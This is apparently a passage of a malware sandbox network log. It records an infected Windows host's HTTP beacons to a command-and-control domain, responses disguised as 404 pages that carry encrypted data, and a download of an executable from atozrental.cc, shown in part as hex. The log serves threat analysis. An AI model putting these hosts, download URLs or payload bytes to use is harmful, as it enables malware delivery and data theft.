88 0c 1a 13 2f 5e 8a f7 24 08 4f c5 03 a1 cb a1 81 7e 50 74 62 b8 1b 0e 7e 8f a9 9a a5 d6 c4 a0 c1 b9 dd 7a 85 77 48 19 e0 3c 95 a9 18 ea f3 96 be 25 11 61 9a c4 3e 7c 88 2a c8 48 6f a1 c0 4a 9a 03 fd ec 9a aa 7b ac 87 2f bd 61 0d d0 48 bf 46 30 fd f8 12 6c 33 6c 2a 7c 0a 8d c7 fd f4 0e a4 ab 7e 71 eb 80 e5 1a 68 8b 4a d8 19 ae cc 4f 2b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 4b 2d b9 76 c9 cc 23 b2 35 06 31 79 5c 9c f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af f1 3b 27 f8 1f b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 57 d4 7c 39 7e e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 59 47 15 51 94 76 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 6f c3 cb 29 1c 5c 82 23 6a 54 ab 1e 76 b9 17 ee c3 de 57 a3 4c db 83 1f d4 58 68 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 86 7d 10 ff 3e d0 ad d5 e1 73 99 8a dd ec 7f 74 79 b0 6b 43 cc b3 8b 8b e1 a8 7c d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 f2 ae 46 7f fe c5 cb 0e ee f6 6b e3 b5 f0 d9 37 00 70 e5 1c c9 02 f5 52 48 10 3c 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 43 eb ac 58 58 0c 7c b9 82 cf 25 2e c3 db ce ec 35 b8 c4 a7 0d a8 ca d4 5f df 45 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 f3 0b 14 be c8 b7 89 c8 2f cf c5 09 e8 8b 53 19 ac 18 90 77 b3 0e 65 87 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 53 e8 b8 8c 6b 95 9c 00 8d 43 d9 ed 47 b2 52 dc 1a 3e 8c 18 57 21 01 7d 42 1d 86 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 a5 8c 57 7b 19 14 59 30 5f ce a6 b8 78 fe 01 89 98 6d 1a 5e 32 d0 f7 f4 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 11 20 b2 7d f5 62 31 36 78 7f 5c 5a 3a c5 19 5f 11 4f 6e f9 e4 41 2a 01 6e d1 fa 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 41 82 e3 d0 ec 73 1e 0c b0 85 bc 43 cf b8 6e 93 45 a1 0d 85 d4 52 9b 2e 60 88 3d 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ed fb 91 25 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 48 48 1c 79 9b 37 67 d2 79 b9 af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ed 90 bb da 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 05 38 6b 77 30 c4 42 2a 52 15 41 6c 70 ea 67 f9 7d d8 ee fe cd f0 a8 11 7f 26 5d 83 66 73 de b3 42 17 0e 55 2e 3f 8f dd 85 9c 69 02 3f 8d 72 f1 c4 61 00 6e 01 2e 10 8d c8 ad f4 3e a4 57 69 fb d9 a0 6b 2e 36 a4 08 67 fb c8 05 81 55 Data Ascii: 1f66`;@0,xO}q4 SJ%9Wd8IkDJ8P>0%y^\Q25GH;lb]o8mWs6(pC6/'%{IyShGjT05sq733hsE\|WD<P5Q"f=(jC\SMUdT[Up"XJ3Ob>!Z:V?#BSSR+{~E(U/^$O~Ptb~zwH<%a>\|HoJ{/aHF0l3l\|~qhJO+yLuVWK-v#51y\r+Lc;'3FHU=hU@W\|9~(B@w=fdYGQvKk^NTUo)\#jTvWLXh),^[}>stykC\|+z(Fk7pRH<M?~MpCXX\|%.5_ECUb:@/SweRSkCGR>W!}B.'<BV`sW{Y0_xm^22B9G }b16x\Z:_OnAnX%Sr^3AsCnER.`=2nJ%ig:HHy7gyT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=8kw0B*RAlpg}&]fsBU.?i?ran.>Wik.6gU
Dec 2, 2023 18:01:54.829140902 CET	337	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qiagoyeeytqahuav.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 251 Host: stualialuyastrelia.net
Dec 2, 2023 18:01:55.075874090 CET	653	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:01:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Dec 2, 2023 18:01:55.144144058 CET	333	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mhylbrtivmxh.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 255 Host: stualialuyastrelia.net
Dec 2, 2023 18:01:55.391624928 CET	1340	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:01:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 1d 8f e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 b2 40 a9 18 ab df bf 71 07 8f 44 bd db 1c 98 7e 8d ae ad 5e 3f 22 75 77 1e 1a 21 fd 4a ec 9e be 2f c1 da c9 47 c4 fa c9 ef 4f 17 b0 6c ee fc 73 f6 8b 15 f3 32 bd 90 a5 07 5c c6 50 77 65 76 ce 73 fb fb 2a bc 2d e0 d8 06 36 fa d7 c8 8e b4 5d 01 a2 d8 3d 3b f9 f5 c7 df e8 cd b2 39 fa a6 d7 f1 6f f0 52 7b e4 66 8d 23 be 42 15 d7 07 53 53 fa cb 1f 9e 1d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 28 c8 55 db 88 0c 14 13 ca 48 8a f7 24 08 4f c5 03 a1 cb a1 81 7e dc f4 62 b8 17 35 7e 75 a3 9a a5 94 d9 a0 c1 b9 dd 7a 0e 82 4e 19 e0 3c 95 a9 18 5a f9 96 be 25 11 61 9a c4 3e 7c 88 2a c8 48 6d a1 c0 4a 9a 03 fd ec 98 aa 7b ac 87 2f bd 61 0d 90 40 bf 46 30 fd f8 12 6c 33 6c 2b 7c 4a 0c c7 fd f4 0e a4 fb 7e 71 eb 80 e5 1a 68 8b 4a d8 19 ae cc 4f 2b 79 82 ae 9c 97 02 4c 75 56 ad f3 77 b8 36 b9 22 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 f2 e5 13 43 0a bb d6 af f1 20 27 98 04 b7 9f 93 d9 d4 46 e1 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 5b 56 63 39 7e e7 ac 04 90 8b 5a 40 37 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d b0 0e 51 ac 73 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 6f c3 cb 29 1c 5c 82 23 6a 54 ab 1e 07 55 1d ee c3 de 57 a3 4c 37 89 1f d4 58 68 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 86 7d 10 ff 3e cb bd d1 ed 66 99 8a a1 63 73 74 79 10 61 43 cc 31 87 8b e1 4c 76 d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 5f fe c5 cb 0e ee f6 6b e3 4d 76 da 37 00 50 fb 1c c9 aa f6 52 48 72 22 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 43 eb ac 58 58 07 6b ab f6 ae 25 2e 4c 85 ce ec 35 18 df a7 0d bc ca d4 5f 69 5f 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 81 c4 a1 73 0b 09 b6 da c3 e8 c8 2f c2 e1 09 e8 8b 83 02 ac 18 bc 77 b3 0e c7 9d 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 53 e8 b8 8c 6b d1 c0 10 eb 24 d9 ed 09 b3 52 dc 1a 2e 97 18 57 23 01 7d 42 5b 9d 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 33 0f b6 25 8c 57 7a 14 0f 5b 30 5f 87 23 b8 78 fe 71 92 98 6d 9e 5e 32 d0 b3 ef 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 11 20 b2 7f db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d cd e4 e7 bb ff 2a 5b d8 3b 79 cd fc 97 ea 67 10 a2 4c e8 fe 24 5c 9c 07 3f cf 81 0c 01 1f 44 9b ec 44 7c c9 8a 6f c8 dd 40 95 05 05 3d 60 cf b4 ae 13 e8 cc 32 27 10 9b a6 72 f2 ae 0d 9c aa fc d8 4e 38 a9 43 c1 86 c4 cc cf 05 68 95 Data Ascii: 1f66`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShG@qD~^?"uw!J/GOls2\Pwevs-6]=;9oR{f#BSSR+{~E(UH$O~b5~uzN<Z%a>\|HmJ{/a@F0l3l+\|J~qhJO+yLuVw6"#u1yr+LC 'FHU=hU@[Vc9~Z@7=fdQsKk^NTUo)\#jTUWL7Xh),^[}>fcstyaC1Lv+z(F_kMv7PRHr"M?~MpCXXk%.L5_i_CUb:@s/wRSk$R.W#}B[.'<BV`3%Wz[0_#xqm^22B9G TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=*[;ygL$\?DD\|o@=`2'rN8Ch
Dec 2, 2023 18:01:57.199996948 CET	337	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://iwjkpojhrkfcflrh.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 356 Host: stualialuyastrelia.net
Dec 2, 2023 18:01:57.447441101 CET	653	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:01:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49714	175.126.109.15	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:01:49.499722004 CET	219	OUT	GET /atoz/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: atozrental.cc
Dec 2, 2023 18:01:50.360286951 CET	1340	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sat, 02 Dec 2023 17:01:50 GMT Content-Type: application/octet-stream Connection: close Content-Description: File Transfer Content-Disposition: attachment; filename=9f99c7ad.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 a8 82 7d 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 ba 02 00 00 e4 39 00 00 00 00 00 5e 89 00 00 00 10 00 00 00 d0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 3c 00 00 04 00 00 88 16 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 bf 02 00 3c 00 00 00 00 70 3b 00 00 19 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 43 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 c4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 90 b9 02 00 00 10 00 00 00 ba 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 84 83 38 00 00 d0 02 00 00 16 00 00 00 be 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 79 6f 7a 69 00 00 00 dc 05 00 00 00 60 3b 00 00 06 00 00 00 d4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 19 01 00 00 70 3b 00 00 1a 01 00 00 da 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL}d9^@< <p;C@.text `.data8@.yozi`;@.rsrcp;@@
Dec 2, 2023 18:01:50.360358000 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 c1 02 00 34 c1 02 00 42 c1 02 00 5a c1 02 00 6c c1 02 00 Data Ascii: 4BZl~ 0BPbt,<NZn"6H\p
Dec 2, 2023 18:01:50.668355942 CET	1340	IN	Data Raw: 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 00 5f 2e 2c 00 2e 00 00 00 5f 00 00 00 3b 00 00 00 3d 00 00 00 3d 3b 00 00 00 00 Data Ascii: IJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~_.,._;==;
Dec 2, 2023 18:01:50.668401003 CET	1340	IN	Data Raw: 01 01 01 01 01 01 01 01 01 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 10 00 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 01 01 00 00 00 00 Data Ascii:
Dec 2, 2023 18:01:50.668438911 CET	1340	IN	Data Raw: 64 00 61 00 79 00 00 00 54 00 75 00 65 00 73 00 64 00 61 00 79 00 00 00 4d 00 6f 00 6e 00 64 00 61 00 79 00 00 00 00 00 53 00 75 00 6e 00 64 00 61 00 79 00 00 00 00 00 53 00 61 00 74 00 00 00 46 00 72 00 69 00 00 00 54 00 68 00 75 00 00 00 57 00 Data Ascii: dayTuesdayMondaySundaySatFriThuWedTueMonSunHH:mm:ssdddd, MMMM dd, yyyyMM/dd/yyPMAMDecemberNovemberOctoberSeptemberAugustJulyJuneAprilMar
Dec 2, 2023 18:01:50.668479919 CET	1340	IN	Data Raw: 74 00 6f 00 20 00 69 00 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 65 00 20 00 74 00 68 00 65 00 20 00 43 00 52 00 54 00 20 00 6d 00 6f 00 72 00 65 00 20 00 74 00 68 00 61 00 6e 00 20 00 6f 00 6e 00 63 00 65 00 2e 00 0a 00 54 00 68 00 69 00 Data Ascii: to initialize the CRT more than once.This indicates a bug in your application.R6030- CRT not initializedR6028
Dec 2, 2023 18:01:50.976439953 CET	1340	IN	Data Raw: 72 00 20 00 61 00 72 00 67 00 75 00 6d 00 65 00 6e 00 74 00 73 00 0d 00 0a 00 00 00 00 00 00 00 52 00 36 00 30 00 30 00 32 00 0d 00 0a 00 2d 00 20 00 66 00 6c 00 6f 00 61 00 74 00 69 00 6e 00 67 00 20 00 70 00 6f 00 69 00 6e 00 74 00 20 00 73 00 Data Ascii: r argumentsR6002- floating point support not loaded)@(@P(@(@'@P'@'@&@@&@%@%@%@$@$@
Dec 2, 2023 18:01:50.976480961 CET	1340	IN	Data Raw: 00 00 4e 6f 20 63 68 69 6c 64 20 70 72 6f 63 65 73 73 65 73 00 00 42 61 64 20 66 69 6c 65 20 64 65 73 63 72 69 70 74 6f 72 00 45 78 65 63 20 66 6f 72 6d 61 74 20 65 72 72 6f 72 00 00 00 41 72 67 20 6c 69 73 74 20 74 6f 6f 20 6c 6f 6e 67 00 00 00 Data Ascii: No child processesBad file descriptorExec format errorArg list too longNo such device or addressInput/output errorInterrupted function callNo such processNo such file or directoryOperation not permittedNo errorunite
Dec 2, 2023 18:01:50.976519108 CET	1340	IN	Data Raw: 69 73 68 2d 62 65 6c 69 7a 65 00 00 65 6e 67 6c 69 73 68 2d 61 75 73 00 65 6e 67 6c 69 73 68 2d 61 6d 65 72 69 63 61 6e 00 00 00 00 64 75 74 63 68 2d 62 65 6c 67 69 61 6e 00 00 00 63 68 69 6e 65 73 65 2d 74 72 61 64 69 74 69 6f 6e 61 6c 00 63 68 Data Ascii: ish-belizeenglish-ausenglish-americandutch-belgianchinese-traditionalchinese-singaporechinese-simplifiedchinese-hongkongchinesechichhcanadianbelgianaustralianamerican-englishamerican englishamerican
Dec 2, 2023 18:01:50.976556063 CET	1340	IN	Data Raw: 74 65 78 69 74 20 64 65 73 74 72 75 63 74 6f 72 20 66 6f 72 20 27 00 00 00 00 60 64 79 6e 61 6d 69 63 20 69 6e 69 74 69 61 6c 69 7a 65 72 20 66 6f 72 20 27 00 00 60 65 68 20 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 Data Ascii: texit destructor for '`dynamic initializer for '`eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vector destructor iterator'`managed vector constructor iterator'`placement delete[] closu
Dec 2, 2023 18:01:50.976593971 CET	1340	IN	Data Raw: 90 3b 40 00 8c 3b 40 00 88 3b 40 00 84 3b 40 00 80 3b 40 00 7c 3b 40 00 78 3b 40 00 74 3b 40 00 70 3b 40 00 6c 3b 40 00 68 3b 40 00 64 3b 40 00 60 3b 40 00 5c 3b 40 00 58 3b 40 00 54 3b 40 00 50 3b 40 00 4c 3b 40 00 48 3b 40 00 3c 3b 40 00 30 3b Data Ascii: ;@;@;@;@;@\|;@x;@t;@p;@l;@h;@d;@`;@\;@X;@T;@P;@L;@H;@<;@0;@(;@;@;@:@:@:@:@:@d:@D:@ :@:@9@9@9@\|9@l9@h9@`9@P9@,9@$9@9@9@8@8@8@\|8@T8@(8@8@7@7@7@l7@P7@@<7@ 7@7@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49721	91.215.85.17	80	3540	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:07.141918898 CET	339	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://stualialuyastrelia.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 501 Host: stualialuyastrelia.net
Dec 2, 2023 18:02:07.141961098 CET	555	OUT	Data Raw: 48 9d f9 bc 49 64 57 25 2a 72 57 23 0f aa 51 bc 59 6b 9f 13 89 19 ab df b7 60 a6 f7 77 85 d4 94 8e ad 8b b2 73 35 92 c2 d5 29 6a 34 cc c4 b9 41 dd 0f 7e 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 81 9a c6 a4 19 ba 8a 14 62 cd d6 4f 96 86 c1 38 d9 Data Ascii: HIdW%*rW#QYk`ws5)j4A~;}f=BbO8p&QD{jB+"m]bF4JEBP5XO2G4-DvF-+y\|l3MRMtxsiP^%u8Fd=mV
